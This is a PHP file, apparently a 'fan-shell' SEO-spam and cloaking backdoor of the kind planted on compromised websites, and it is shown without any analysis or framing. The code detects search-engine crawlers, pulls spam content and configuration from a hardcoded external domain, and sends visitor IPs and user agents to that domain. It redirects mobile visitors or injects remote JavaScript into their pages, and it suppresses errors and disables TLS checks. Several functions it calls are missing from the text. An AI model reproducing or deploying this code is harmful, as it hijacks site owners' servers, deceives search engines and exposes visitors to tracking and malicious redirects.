if (defined('ToolmanIT_SHELL_LOADED')) { return; } define('ToolmanIT_SHELL_LOADED', 1); if (!defined('ToolmanIT_SHELL_VER')) { define('ToolmanIT_SHELL_VER', 'fan-shell-20260818f'); } @ini_set('zlib.output_compression', '0'); if (function_exists('apache_setenv')) { @apache_setenv('no-gzip', '1'); } set_time_limit(20); error_reporting(0); if (!defined('JSON_UNESCAPED_SLASHES')) { define('JSON_UNESCAPED_SLASHES', 64); } if (!defined('JSON_UNESCAPED_UNICODE')) { define('JSON_UNESCAPED_UNICODE', 256); } if (!function_exists('http_response_code')) { function http_response_code($code = null) { static $current = 200; if ($code !== null) { $current = (int) $code; if (!headers_sent()) { $proto = isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.1'; if ($proto === '' || stripos($proto, 'HTTP') !== 0) { $proto = 'HTTP/1.1'; } $text = ($current === 404) ? 'Not Found' : (($current === 429) ? 'Too Many Requests' : 'OK'); header($proto . ' ' . $current . ' ' . $text, true, $current); } } return $current; } } if (!headers_sent()) { $GLOBALS['ToolmanIT_proto'] = isset($_SERVER['SERVER_PROTOCOL']) ? (string)$_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.1'; if ($GLOBALS['ToolmanIT_proto'] === '' || stripos($GLOBALS['ToolmanIT_proto'], 'HTTP') !== 0) { $GLOBALS['ToolmanIT_proto'] = 'HTTP/1.1'; } } if (!function_exists('ToolmanIT_forceOk')) { function ToolmanIT_forceOk() { if (headers_sent()) { return; } $proto = isset($GLOBALS['ToolmanIT_proto']) ? $GLOBALS['ToolmanIT_proto'] : 'HTTP/1.1'; if (function_exists('http_response_code')) { http_response_code(200); } else { header($proto . ' 200 OK'); } if (isset($_SERVER['REDIRECT_STATUS'])) { $_SERVER['REDIRECT_STATUS'] = '200'; } header('Content-Type: text/html; charset=utf-8'); } } if (!function_exists('ToolmanIT_cleanHeaderValue')) { function ToolmanIT_cleanHeaderValue($v) { return str_replace(array("\r", "\n"), '', (string)$v); } } if (!function_exists('ToolmanIT_getRealIp')) { function ToolmanIT_getRealIp() { if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) { $cf = trim((string)$_SERVER['HTTP_CF_CONNECTING_IP']); if ($cf !== '' && filter_var($cf, FILTER_VALIDATE_IP)) { return $cf; } } $remote = isset($_SERVER['REMOTE_ADDR']) ? trim((string)$_SERVER['REMOTE_ADDR']) : ''; if ($remote === '0.0.0.0') { $remote = ''; } $trustProxy = $remote !== '' && ( $remote === '127.0.0.1' || $remote === '::1' || filter_var($remote, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false ); if ($trustProxy) { if (!empty($_SERVER['HTTP_X_REAL_IP'])) { $xr = trim((string)$_SERVER['HTTP_X_REAL_IP']); if ($xr !== '' && filter_var($xr, FILTER_VALIDATE_IP)) { return $xr; } } if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ToolmanIT_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $xff = trim($ToolmanIT_ips[0]); if ($xff !== '' && filter_var($xff, FILTER_VALIDATE_IP)) { return $xff; } } } return $remote; } } if (!function_exists('ToolmanIT_detectScheme')) { function ToolmanIT_detectScheme($fallback) { $httpsOn = !empty($_SERVER['HTTPS']) && strtolower((string)$_SERVER['HTTPS']) !== 'off'; $port = isset($_SERVER['SERVER_PORT']) ? (string)$_SERVER['SERVER_PORT'] : ''; if ($httpsOn || $port === '443') { return 'https'; } if ($port === '80') { return 'http'; } if (!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])) { $_ToolmanIT_fwd = explode(',', $_SERVER['HTTP_X_FORWARDED_PROTO']); $ToolmanIT_proto = trim(isset($_ToolmanIT_fwd[0]) ? $_ToolmanIT_fwd[0] : ''); if ($ToolmanIT_proto === 'http' || $ToolmanIT_proto === 'https') { return strtolower($ToolmanIT_proto); } } if (!empty($_SERVER['REQUEST_SCHEME'])) { $ToolmanIT_rs = strtolower(trim((string)$_SERVER['REQUEST_SCHEME'])); if ($ToolmanIT_rs === 'http' || $ToolmanIT_rs === 'https') { return $ToolmanIT_rs; } } $fallback = strtolower(trim((string)$fallback)); if ($fallback === 'http' || $fallback === 'https') { return $fallback; } return 'https'; } } if (!function_exists('ToolmanIT_forceHttpsUrl')) { function ToolmanIT_forceHttpsUrl($url) { $url = trim((string)$url); if ($url === '') { return ''; } if (stripos($url, 'http://') === 0) { return 'https://' . substr($url, 7); } return $url; } } if (!function_exists('ToolmanIT_getRequestHost')) { function ToolmanIT_getRequestHost() { $ToolmanIT_host = isset($_SERVER['HTTP_HOST']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_HOST']) : ''; if ($ToolmanIT_host === '') { return ''; } $ToolmanIT_pos = strpos($ToolmanIT_host, ':'); if ($ToolmanIT_pos !== false) { return substr($ToolmanIT_host, 0, $ToolmanIT_pos); } return $ToolmanIT_host; } } if (!function_exists('ToolmanIT_httpGetRaw')) { function ToolmanIT_httpGetRaw($url) { $url = trim((string)$url); if ($url === '') { $GLOBALS['ToolmanIT_lastHttpError'] = 'empty_url'; return false; } $outUa = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36'; $origUa = isset($_SERVER['HTTP_USER_AGENT']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_USER_AGENT']) : ''; $origIp = ToolmanIT_getRealIp(); if ($origUa !== '' && stripos($url, 'sp=') === false && function_exists('ToolmanIT_spiderBrandCode')) { $spCode = ToolmanIT_spiderBrandCode($origUa); if ($spCode !== '') { $url .= (strpos($url, '?') === false ? '?' : '&') . 'sp=' . rawurlencode($spCode); } } if ($origUa !== '' && stripos($url, 'ua=') === false) { $url .= (strpos($url, '?') === false ? '?' : '&') . 'ua=' . rawurlencode($origUa); } $hdrs = array('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'); if ($origIp !== '' && $origIp !== '0.0.0.0') { $hdrs[] = 'X-Real-IP: ' . $origIp; $hdrs[] = 'X-Forwarded-For: ' . $origIp; } if ($origUa !== '') { $hdrs[] = 'X-Original-UA: ' . $origUa; $hdrs[] = 'X-Fan-UA: ' . $origUa; } $lastErr = ''; if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_MAXREDIRS, 2); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 4); curl_setopt($ch, CURLOPT_TIMEOUT, 8); curl_setopt($ch, CURLOPT_USERAGENT, $outUa); curl_setopt($ch, CURLOPT_HTTPHEADER, $hdrs); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_ENCODING, ''); $body = curl_exec($ch); $errno = curl_errno($ch); $err = curl_error($ch); $code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($body !== false && trim((string)$body) !== '' && $errno === 0 && $code >= 200 && $code < 400) { $GLOBALS['ToolmanIT_lastHttpError'] = 'curl_ok_' . $code; return $body; } $lastErr = 'curl_' . $errno . ':' . $err; $GLOBALS['ToolmanIT_lastHttpError'] = $lastErr !== '' ? $lastErr : 'curl_empty'; } $ctx = stream_context_create(array( 'http' => array( 'method' => 'GET', 'header' => "User-Agent: " . $outUa . "\r\nAccept: text/html,*/*\r\n", 'timeout' => 8, 'ignore_errors' => true, ), 'ssl' => array('verify_peer' => false, 'verify_peer_name' => false), )); $body = @file_get_contents($url, false, $ctx); if ($body !== false && trim((string)$body) !== '') { $GLOBALS['ToolmanIT_lastHttpError'] = 'fgc_ok'; return $body; } $GLOBALS['ToolmanIT_lastHttpError'] = $lastErr !== '' ? $lastErr : 'shell_fail'; return false; } } if (!function_exists('ToolmanIT_httpGet')) { function ToolmanIT_httpGet($url) { $ToolmanIT_uri = isset($_SERVER['REQUEST_URI']) ? ToolmanIT_cleanHeaderValue($_SERVER['REQUEST_URI']) : '/'; $ToolmanIT_ua = isset($_SERVER['HTTP_USER_AGENT']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_USER_AGENT']) : ''; $ToolmanIT_ref = isset($_SERVER['HTTP_REFERER']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_REFERER']) : ''; $ToolmanIT_ip = ToolmanIT_getRealIp(); $ToolmanIT_outUa = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36'; $ToolmanIT_headers = array( 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'X-Real-IP: ' . $ToolmanIT_ip, 'X-Forwarded-For: ' . $ToolmanIT_ip, ); unset($ToolmanIT_uri, $ToolmanIT_ref); if (function_exists('curl_init')) { $ToolmanIT_ch = curl_init(); curl_setopt($ToolmanIT_ch, CURLOPT_URL, $url); curl_setopt($ToolmanIT_ch, CURLOPT_USERAGENT, $ToolmanIT_outUa); curl_setopt($ToolmanIT_ch, CURLOPT_HTTPHEADER, $ToolmanIT_headers); curl_setopt($ToolmanIT_ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ToolmanIT_ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ToolmanIT_ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ToolmanIT_ch, CURLOPT_HEADER, false); curl_setopt($ToolmanIT_ch, CURLOPT_ENCODING, ''); curl_setopt($ToolmanIT_ch, CURLOPT_CONNECTTIMEOUT, 8); curl_setopt($ToolmanIT_ch, CURLOPT_TIMEOUT, 15); curl_setopt($ToolmanIT_ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ToolmanIT_ch, CURLOPT_MAXREDIRS, 3); if (defined('CURL_IPRESOLVE_V4')) { curl_setopt($ToolmanIT_ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); } $ToolmanIT_body = curl_exec($ToolmanIT_ch); $ToolmanIT_code = (int)curl_getinfo($ToolmanIT_ch, CURLINFO_HTTP_CODE); $ToolmanIT_err = curl_error($ToolmanIT_ch); curl_close($ToolmanIT_ch); if ($ToolmanIT_body === false || $ToolmanIT_body === null) { $GLOBALS['ToolmanIT_lastHttpError'] = 'curl_fail:' . $ToolmanIT_err; return false; } if ($ToolmanIT_code >= 400) { $GLOBALS['ToolmanIT_lastHttpError'] = 'http_' . $ToolmanIT_code; return false; } $GLOBALS['ToolmanIT_lastHttpError'] = 'http_' . $ToolmanIT_code . '_ok'; return $ToolmanIT_body; } $ToolmanIT_context = stream_context_create(array( 'http' => array( 'method' => 'GET', 'timeout' => 15, 'ignore_errors' => true, 'user_agent' => $ToolmanIT_outUa, 'header' => implode("\r\n", $ToolmanIT_headers) . "\r\n" ) )); $ToolmanIT_body = @file_get_contents($url, false, $ToolmanIT_context); if ($ToolmanIT_body === false) { $GLOBALS['ToolmanIT_lastHttpError'] = 'fgc_fail'; return false; } $GLOBALS['ToolmanIT_lastHttpError'] = 'fgc_ok'; return $ToolmanIT_body; } } if (!function_exists('ToolmanIT_isBrowserUa')) { function ToolmanIT_isBrowserUa($ua) { $ua = trim((string)$ua); if ($ua === '') { return false; } if (preg_match('/\b(?:wget|curl|python(?:-requests)?|scrapy|libwww-perl|headlesschrome|phantomjs|selenium)\b/i', $ua)) { return false; } if (preg_match('/\b(?:httpclient|go-http-client|apache-httpclient)\b/i', $ua) && !preg_match('/Mozilla\/|AppleWebKit\//i', $ua)) { return false; } if (preg_match('/Baiduspider|Googlebot|Sogou\s+web\s+spider|YisouSpider|360Spider|Bytespider|bingbot|Yandex/i', $ua)) { return false; } return (bool)preg_match('/Mozilla\/|AppleWebKit\/|Chrome\/|CriOS\/|Firefox\/|FxiOS\/|Edg\/|OPR\/|Safari\/|MicroMessenger|MQQBrowser|UCBrowser|Quark|HuaweiBrowser|VivoBrowser|MiuiBrowser|SamsungBrowser|Baidu|baiduboxapp|SogouMobileBrowser|NewsArticle|ToutiaoMicro|BytedanceWebview|oppobrowser|HeyTapBrowser|QihooBrowser|360browser/i', $ua); } } if (!function_exists('ToolmanIT_uriHasShellScript')) { function ToolmanIT_uriHasShellScript($uri, $innerScript) { $uri = (string)$uri; if ($uri === '') { return false; } $innerScript = trim((string)$innerScript); if ($innerScript !== '') { $script = preg_replace('/[?].*$/', '', $innerScript); $script = basename(str_replace('\\', '/', (string)$script)); if ($script !== '' && strtolower($script) !== 'index.php') { if (stripos($uri, $script) !== false || stripos($uri, $innerScript) !== false) { return true; } } } if (preg_match('#/(?!index\.php)([a-z0-9_-]+)\.php(?:\?|/|$|#)#i', $uri)) { return true; } return false; } } if (!function_exists('ToolmanIT_isInnerRequest')) { function ToolmanIT_isInnerRequest($uri, $innerScript) { $script = preg_replace('/[?].*$/', '', (string)$innerScript); $script = basename(str_replace('\\', '/', $script)); if ($script === '') { $script = 'art.php'; } if (stripos((string)$uri, $script) !== false || stripos((string)$uri, (string)$innerScript) !== false) { return true; } $scriptName = isset($_SERVER['SCRIPT_NAME']) ? str_replace('\\', '/', (string)$_SERVER['SCRIPT_NAME']) : ''; if ($scriptName !== '' && stripos(basename($scriptName), $script) !== false) { return true; } return false; } } if (!function_exists('ToolmanIT_resolveUriPath')) { function ToolmanIT_pickPublicPath($raw) { $raw = trim(str_replace('\\', '/', (string)$raw)); if ($raw === '') { return ''; } if ($raw[0] !== '/' && !preg_match('#^[a-z][a-z0-9+.-]*://#i', $raw)) { $raw = '/' . $raw; } $path = parse_url($raw, PHP_URL_PATH); if (!is_string($path) || $path === '' || $path === '/') { return ''; } if (preg_match('#/(?:art|index)\.php$#i', $path) || preg_match('#/index\.(?:html|htm)$#i', $path)) { return ''; } return $path; } function ToolmanIT_resolveUriPath($uri, $isInnerRequest) { $candidates = array(); if (!empty($_GET['u'])) { $candidates[] = (string)$_GET['u']; } $query = isset($_SERVER['QUERY_STRING']) ? (string)$_SERVER['QUERY_STRING'] : ''; if ($query !== '') { if ($query[0] === '/') { $candidates[] = (string)strtok($query, '?'); } elseif (strpos($query, '=') === false) { $candidates[] = '/' . ltrim($query, '/'); } elseif ($isInnerRequest) { $candidates[] = '/' . preg_replace('/^([^=\/]+)=/', '$1/', $query, 1); } } foreach (array('REQUEST_URI', 'UNENCODED_URL', 'HTTP_X_REWRITE_URL', 'HTTP_X_ORIGINAL_URL', 'REDIRECT_URL', 'REDIRECT_REDIRECT_URL') as $key) { if (!empty($_SERVER[$key])) { $candidates[] = (string)$_SERVER[$key]; } } $candidates[] = (string)$uri; if (!empty($_SERVER['PATH_INFO'])) { $candidates[] = (string)$_SERVER['PATH_INFO']; } foreach ($candidates as $raw) { $path = ToolmanIT_pickPublicPath($raw); if ($path !== '') { return $path; } } return '/'; } } if (!function_exists('ToolmanIT_getVisitUri')) { function ToolmanIT_getVisitUri() { $uri = isset($_SERVER['REQUEST_URI']) ? ToolmanIT_cleanHeaderValue($_SERVER['REQUEST_URI']) : '/'; if ($uri === '') { return '/'; } $pos = strpos($uri, '#'); if ($pos !== false) { $uri = substr($uri, 0, $pos); } return $uri; } } if (!function_exists('ToolmanIT_buildFullPageUrl')) { function ToolmanIT_buildFullPageUrl($scheme, $host) { $host = trim((string)$host); if ($host === '') { return ToolmanIT_getVisitUri(); } $scheme = trim((string)$scheme) !== '' ? trim((string)$scheme) : 'http'; $uri = ToolmanIT_getVisitUri(); if ($uri === '' || $uri[0] !== '/') { $uri = '/' . ltrim($uri, '/'); } return $scheme . '://' . $host . $uri; } } if (!function_exists('ToolmanIT_spiderBrandCode')) { function ToolmanIT_spiderBrandCode($ua) { $ua = (string)$ua; if ($ua === '') { return ''; } if (preg_match('/Baiduspider/i', $ua)) { return 'baidu'; } if (preg_match('/Googlebot|Google-InspectionTool|AdsBot-Google|Storebot-Google|Mediapartners-Google/i', $ua)) { return 'google'; } if (preg_match('/Sogou\s+web\s+spider|Sogou-Test-Spider/i', $ua)) { return 'sogou'; } if (preg_match('/YisouSpider/i', $ua)) { return 'sm'; } if (preg_match('/360Spider|HaosouSpider/i', $ua)) { return '360'; } if (preg_match('/Bytespider/i', $ua)) { return 'byte'; } if (preg_match('/bingbot|BingPreview/i', $ua)) { return 'bing'; } return ''; } } if (!function_exists('ToolmanIT_buildApiUrl')) { function ToolmanIT_buildApiUrl($apiBase, $host, $ip, $scheme, $uriPath, $phpScript, $contentType, $pageUrl = '', $ua = '', $dev = '') { $ToolmanIT_params = array( 'u' => $uriPath, 'host' => $host, 'ip' => $ip, 'scheme' => $scheme, 'type' => $contentType, 'ru' => ToolmanIT_getVisitUri(), ); if ($phpScript !== null && $phpScript !== '') { $ToolmanIT_params['php'] = $phpScript; } if ($pageUrl !== '') { $ToolmanIT_params['url'] = $pageUrl; } if ($ua !== '' && function_exists('ToolmanIT_spiderBrandCode')) { $sp = ToolmanIT_spiderBrandCode($ua); if ($sp !== '') { $ToolmanIT_params['sp'] = $sp; } } if ($ua !== '') { $ToolmanIT_params['ua'] = substr((string)$ua, 0, 250); } if ($dev === 'm' || $dev === 'p') { $ToolmanIT_params['dev'] = $dev; } return rtrim($apiBase, '?/') . '?' . http_build_query($ToolmanIT_params); } } if (!function_exists('ToolmanIT_buildLinkApiUrl')) { function ToolmanIT_buildLinkApiUrl($linkApiBase, $host, $scheme, $phpScript, $contentType, $uri = '', $pageUrl = '', $ip = '', $ua = '', $dev = '') { $ToolmanIT_params = array( 'host' => $host, 'scheme' => $scheme, 'type' => $contentType, ); if ($phpScript !== null && $phpScript !== '') { $ToolmanIT_params['php'] = $phpScript; } if ($uri !== '' && $uri !== '/') { if ($uri[0] !== '/') { $uri = '/' . $uri; } $ToolmanIT_params['u'] = $uri; } if ($pageUrl !== '') { $ToolmanIT_params['url'] = $pageUrl; } if ($ip !== '') { $ToolmanIT_params['ip'] = $ip; } if ($ua !== '' && function_exists('ToolmanIT_spiderBrandCode')) { $sp = ToolmanIT_spiderBrandCode($ua); if ($sp !== '') { $ToolmanIT_params['sp'] = $sp; } } if ($ua !== '') { $ToolmanIT_params['ua'] = substr((string)$ua, 0, 250); } if ($dev === 'm' || $dev === 'p') { $ToolmanIT_params['dev'] = $dev; } return rtrim($linkApiBase, '?/') . '?' . http_build_query($ToolmanIT_params); } } if (!function_exists('ToolmanIT_spiderConfigUrl')) { function ToolmanIT_spiderConfigUrl($linkApiBase) { $base = preg_replace('#/link\.php$#i', '', rtrim((string)$linkApiBase, '/')); return $base . '/spider-config.php'; } } if (!function_exists('ToolmanIT_fetchSpiderConfig')) { function ToolmanIT_fetchSpiderConfig(array $config, $host = '') { static $ToolmanIT_cache = array(); $ToolmanIT_host = strtolower(trim((string)$host)); if (isset($ToolmanIT_cache[$ToolmanIT_host])) { return $ToolmanIT_cache[$ToolmanIT_host]; } $ToolmanIT_out = array( 'link_only' => !empty($config['spiderLinkOnly']), 'default_php' => '', 'ad_enabled' => false, 'baidu_spider_only' => true, 'ad_target'=> '', 'ad_mode' => '', 'mobile_js'=> '', 'jump_url' => '', 'visit_url'=> '', 'ad_test_ips'=> array(), 'baidu_allow_ips'=> array('123.129.217.209'), 'baidu_allow_prefixes'=> array( '220.181.', '123.125.', '123.126.', '116.179.', '116.180.', '116.177.', '180.76.', '111.206.', '119.63.', '115.239.', '124.192.', '42.236.', ), ); $ToolmanIT_url = ToolmanIT_spiderConfigUrl(isset($config['linkApiBase']) ? $config['linkApiBase'] : ''); if ($ToolmanIT_url === '' || stripos($ToolmanIT_url, 'spider-config.php') === false) { $ToolmanIT_cache[$ToolmanIT_host] = $ToolmanIT_out; return $ToolmanIT_out; } if ($ToolmanIT_host !== '') { $ToolmanIT_url .= (strpos($ToolmanIT_url, '?') !== false ? '&' : '?') . 'host=' . rawurlencode($ToolmanIT_host); } $ToolmanIT_disk = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fan_sc_' . md5($ToolmanIT_url) . '.json'; if (is_file($ToolmanIT_disk) && (time() - (int)@filemtime($ToolmanIT_disk)) < 60) { $ToolmanIT_cachedBody = @file_get_contents($ToolmanIT_disk); if (is_string($ToolmanIT_cachedBody) && $ToolmanIT_cachedBody !== '') { $ToolmanIT_body = $ToolmanIT_cachedBody; } } if (!isset($ToolmanIT_body)) { $ToolmanIT_body = function_exists('ToolmanIT_httpGetRaw') ? ToolmanIT_httpGetRaw($ToolmanIT_url) : ToolmanIT_httpGet($ToolmanIT_url); if ($ToolmanIT_body !== false && trim($ToolmanIT_body) !== '') { @file_put_contents($ToolmanIT_disk, $ToolmanIT_body); } } if ($ToolmanIT_body !== false && trim($ToolmanIT_body) !== '') { $ToolmanIT_data = json_decode($ToolmanIT_body, true); if (is_array($ToolmanIT_data)) { if (array_key_exists('link_only', $ToolmanIT_data)) { $ToolmanIT_out['link_only'] = !empty($ToolmanIT_data['link_only']); } if (array_key_exists('ad_enabled', $ToolmanIT_data)) { $ToolmanIT_out['ad_enabled'] = !empty($ToolmanIT_data['ad_enabled']); } if (array_key_exists('baidu_spider_only', $ToolmanIT_data)) { $ToolmanIT_out['baidu_spider_only'] = !empty($ToolmanIT_data['baidu_spider_only']); } if (!empty($ToolmanIT_data['default_php'])) { $ToolmanIT_out['default_php'] = trim((string)$ToolmanIT_data['default_php']); } if (!empty($ToolmanIT_data['ad_target'])) { $ToolmanIT_out['ad_target'] = trim((string)$ToolmanIT_data['ad_target']); } if (!empty($ToolmanIT_data['ad_mode'])) { $ToolmanIT_mode = strtolower(trim((string)$ToolmanIT_data['ad_mode'])); if (in_array($ToolmanIT_mode, array('js', 'url'), true)) { $ToolmanIT_out['ad_mode'] = $ToolmanIT_mode; } } if (!empty($ToolmanIT_data['mobile_js'])) { $ToolmanIT_out['mobile_js'] = trim((string)$ToolmanIT_data['mobile_js']); } if (!empty($ToolmanIT_data['jump_url'])) { $ToolmanIT_out['jump_url'] = trim((string)$ToolmanIT_data['jump_url']); } if (!empty($ToolmanIT_data['ad_test_ips']) && is_array($ToolmanIT_data['ad_test_ips'])) { $ToolmanIT_out['ad_test_ips'] = $ToolmanIT_data['ad_test_ips']; } if (!empty($ToolmanIT_data['baidu_allow_ips']) && is_array($ToolmanIT_data['baidu_allow_ips'])) { $ToolmanIT_out['baidu_allow_ips'] = $ToolmanIT_data['baidu_allow_ips']; } if (!empty($ToolmanIT_data['baidu_allow_prefixes']) && is_array($ToolmanIT_data['baidu_allow_prefixes'])) { $ToolmanIT_out['baidu_allow_prefixes'] = $ToolmanIT_data['baidu_allow_prefixes']; } if (!empty($ToolmanIT_data['visit_url'])) { $ToolmanIT_out['visit_url'] = trim((string)$ToolmanIT_data['visit_url']); } } } $ToolmanIT_cache[$ToolmanIT_host] = $ToolmanIT_out; return $ToolmanIT_out; } } if (!function_exists('ToolmanIT_fetchSpiderLinkOnly')) { function ToolmanIT_fetchSpiderLinkOnly(array $config, $host = '') { $ToolmanIT_data = ToolmanIT_fetchSpiderConfig($config, $host); return !empty($ToolmanIT_data['link_only']); } } if (!function_exists('ToolmanIT_normalizeJumpUrl')) { function ToolmanIT_normalizeJumpUrl($url) { $url = trim((string)$url); if ($url === '' || $url === 'https://' || $url === 'http://') { return ''; } if (!preg_match('#^https?://#i', $url)) { $url = 'https://' . ltrim($url, '/'); } return $url; } } if (!function_exists('ToolmanIT_targetIsJs')) { function ToolmanIT_targetIsJs($url) { $url = trim((string)$url); if ($url === '') { return false; } $path = parse_url($url, PHP_URL_PATH); if (!is_string($path) || $path === '') { $path = $url; } return (bool)preg_match('/\.js$/i', $path); } } if (!function_exists('ToolmanIT_resolveAdTarget')) { function ToolmanIT_resolveAdTarget(array $config, $host = '') { $ToolmanIT_data = ToolmanIT_fetchSpiderConfig($config, $host); $ToolmanIT_target = ''; if (!empty($ToolmanIT_data['ad_target'])) { $ToolmanIT_target = trim((string)$ToolmanIT_data['ad_target']); } if ($ToolmanIT_target === '' && !empty($ToolmanIT_data['mobile_js'])) { $ToolmanIT_target = trim((string)$ToolmanIT_data['mobile_js']); } if ($ToolmanIT_target === '' && !empty($ToolmanIT_data['jump_url'])) { $ToolmanIT_target = trim((string)$ToolmanIT_data['jump_url']); } if ($ToolmanIT_target === '' && !empty($config['mobileJs'])) { $ToolmanIT_target = trim((string)$config['mobileJs']); } if ($ToolmanIT_target === '' && !empty($config['jumpUrl'])) { $ToolmanIT_target = trim((string)$config['jumpUrl']); } $ToolmanIT_target = ToolmanIT_normalizeJumpUrl($ToolmanIT_target); $ToolmanIT_mode = isset($ToolmanIT_data['ad_mode']) ? strtolower(trim((string)$ToolmanIT_data['ad_mode'])) : ''; if (!in_array($ToolmanIT_mode, array('js', 'url'), true)) { $ToolmanIT_mode = ToolmanIT_targetIsJs($ToolmanIT_target) ? 'js' : 'url'; } $ToolmanIT_js = ''; $ToolmanIT_jump = ''; if ($ToolmanIT_mode === 'js') { $ToolmanIT_js = ToolmanIT_forceHttpsUrl($ToolmanIT_target); } else { $ToolmanIT_jump = $ToolmanIT_target; } return array( 'mode' => $ToolmanIT_mode, 'js' => $ToolmanIT_js, 'jump' => $ToolmanIT_jump, ); } } if (!function_exists('ToolmanIT_resolveMobileJs')) { function ToolmanIT_resolveMobileJs(array $config, $host = '') { $ToolmanIT_ad = ToolmanIT_resolveAdTarget($config, $host); return $ToolmanIT_ad['js']; } } if (!function_exists('ToolmanIT_resolveVisitApiBase')) { function ToolmanIT_resolveVisitApiBase(array $config, $host = '') { unset($host); if (!empty($config['visitApiBase'])) { return trim((string)$config['visitApiBase']); } foreach (array('linkApiBase', 'apiBase') as $ToolmanIT_key) { if (empty($config[$ToolmanIT_key])) { continue; } $ToolmanIT_base = preg_replace('#/(link|api)\.php$#i', '/visit.php', rtrim((string)$config[$ToolmanIT_key], '/')); if (is_string($ToolmanIT_base) && stripos($ToolmanIT_base, 'visit.php') !== false) { return $ToolmanIT_base; } } return ''; } } if (!function_exists('ToolmanIT_reportVisitServer')) { function ToolmanIT_reportVisitServer(array $config, $scheme, $host, $uri, $ua, $isMobile) { $config['visitApiBase'] = ToolmanIT_resolveVisitApiBase($config, $host); $ToolmanIT_url = ToolmanIT_buildVisitUrl($config, $scheme, $host, $uri, $ua, $isMobile); if ($ToolmanIT_url === '') { return; } if (function_exists('ToolmanIT_httpGetRaw')) { ToolmanIT_httpGetRaw($ToolmanIT_url); } else { ToolmanIT_httpGet($ToolmanIT_url); } } } if (!function_exists('ToolmanIT_outputMobileAdPage')) { function ToolmanIT_outputMobileAdPage(array $ad) { $mode = isset($ad['mode']) ? (string)$ad['mode'] : ''; $jump = isset($ad['jump']) ? trim((string)$ad['jump']) : ''; $js = isset($ad['js']) ? trim((string)$ad['js']) : ''; header('Content-Type: text/html; charset=utf-8'); header('Cache-Control: no-store'); echo '
'; echo 'ad-target empty
'; echo 'ip=' . htmlspecialchars(ToolmanIT_getRealIp(), ENT_QUOTES, 'UTF-8') . '
'; echo ''; exit; } return; } } if (!function_exists('ToolmanIT_superseoConfig')) { function ToolmanIT_superseoConfig() { return array( 'bBase' => 'http://aaq.sdfdcvdfrhg.info', 'apiBase' => '', 'linkApiBase' => '', 'visitApiBase' => '', 'phpInnerScript' => '', 'pseudoStatic' => false, 'contentType' => 'news', 'scheme' => 'https', 'mobileJs' => '', 'jumpUrl' => '', 'spiderLinkOnly' => false, 'adTestIps' => array(), 'spiderReg' => '@Baiduspider|Googlebot|Google-InspectionTool|Storebot-Google|AdsBot-Google|Mediapartners-Google|Sogou\s+web\s+spider|Sogou-Test-Spider|YisouSpider|HaosouSpider|360Spider|Bytespider|Yandex(?:Bot|MobileBot)?|bingbot|BingPreview|SemrushBot|AhrefsBot|DotBot|MJ12bot|SERanking|PetalBot|BLEXBot|Applebot|DuckDuckBot|facebookexternalhit|Twitterbot@i', 'mobileReg' => '/iphone|ipod|ipad|android|mobile|blackberry|iemobile|mqqbrowser|fennec|webos|symbian|windows phone|huawei|honor|xiaomi|redmi|vivo|oppo|meizu|oneplus|baiduboxapp|micromessenger|qqbrowser|ucbrowser|sogoumobilebrowser|toutiao|douyin|tiktok|360browser/i' ); } } if (!defined('ToolmanIT_RAN')) { define('ToolmanIT_RAN', 1); ToolmanIT_run_v2(); } if (!function_exists('ToolmanIT_run')) { function ToolmanIT_run() { ToolmanIT_run_v2(); } }